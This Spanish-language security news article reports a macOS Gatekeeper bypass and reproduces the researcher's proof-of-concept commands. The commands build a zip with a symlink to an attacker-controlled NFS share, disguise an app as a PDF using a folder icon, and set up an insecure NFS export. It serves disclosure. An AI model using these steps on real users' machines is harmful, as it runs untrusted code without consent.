Salto de restricciones en MacOS X GateKeeper

Versiones de MacOS X anteriores a la 10.14.5 permitirían saltar las restricciones impuestas por Gatekeeper y ejecutar código no confiable sin necesidad de establecer permisos adicionales o notificar al usuario.

Gatekeeper es un mecanismo desarrollado por Apple e incluido en su sistema operativo para dispositivos de escritorio. Gatekeeper garantiza la verificación de aplicaciones descargadas desde terceros y obliga a los desarrolladores a firmar el código, evitando así que aplicaciones potencialmente fraudulentas se ejecuten sin el consentimiento del usuario.

El investigador de seguridad Filippo Cavallarin ha publicado en su página web una prueba de concepto en la que hace una demostración de unavulnerabilidad que permitiría a un atacante saltar esta protección y ejecutar código no verificado.

En su diseño, Gatekeeper considera las unidades externas y las redes compartidas como direcciones seguras y permite la ejecución de cualquier aplicación contenida en ellas. De forma legítima, Gatekeeper implementa dos características que combinadas, permitirían configurar el ataque: el auto-montado de carpetas en red y la posibilidad de que ficheros zip contengan enlaces simbólicos que apunten a direcciones arbitrarias.

Así, se podría pensar el siguiente escenario: un atacante elabora un fichero zip que contiene un enlace simbólico a una dirección controlada por el atacante, por ejemplo: Documents -> /net/atacante.com/Documents y lo envía a la víctima.

De esta forma, se ejecutaría el archivo en control del atacante, sin que Gatekeeper lo impida ni tan siquiera lo notifique.

De forma detallada, Filippo Cavallarin lo explica en la PoC publicada en su web:

  1. Creación de fichero zip con el enlace simbólico
    • mkdir Documents
    • ln -s /net/linux-vm.local/nfs/Documents Documents/Documents
    • zip -ry Documents.zip Documents
  2. Creación de la aplicación con el código a ejecutar
    • cp -r /Applications/Calculator.app PDF.app
    • echo -e ‘#!/bin/bash’»\n»‘open /Applications/iTunes.app’ > PDF.app/Contents/MacOS/Calculator
    • chmod +x PDF.app/Contents/MacOS/Calculator
    • rm PDF.app/Contents/Resources/AppIcon.icns
    • ln -s /System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/GenericFolderIcon.icns PDF.app/Contents/Resources/AppIcon.icns
  3. Creación de la carpeta de red donde irá la aplicación
    • ssh linux-vm.local
    • mkdir -p /nfs/Documents
    • echo ‘/nfs/Documents *(insecure,rw,no_root_squash,anonuid=1000,anongid=1000,async,nohide)’ >> /etc/exports
    • service nfs-kernel-server restart
    • scp -r mymac.local:PDF.app /nfs/Documents/
  4. Alojamos el archivo zip en alguna localización remota, para que aldescargarlo Gatekeeper lo ponga en «cuarentena».
  5. A pesar de que Gatekeeper ha marcado el archivo para su comprobación, no se generará ninguna alerta y se ejecutará el código controlado por el atacante.

El fallo fue notificado el 22 de febrero de este año, sin embargo Apple todavía no ha publicado ningún parche oficial.

Más información:

MacOS X GateKeeper Bypass
https://www.fcvl.net/vulnerabilities/macosx-gatekeeper-bypass

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *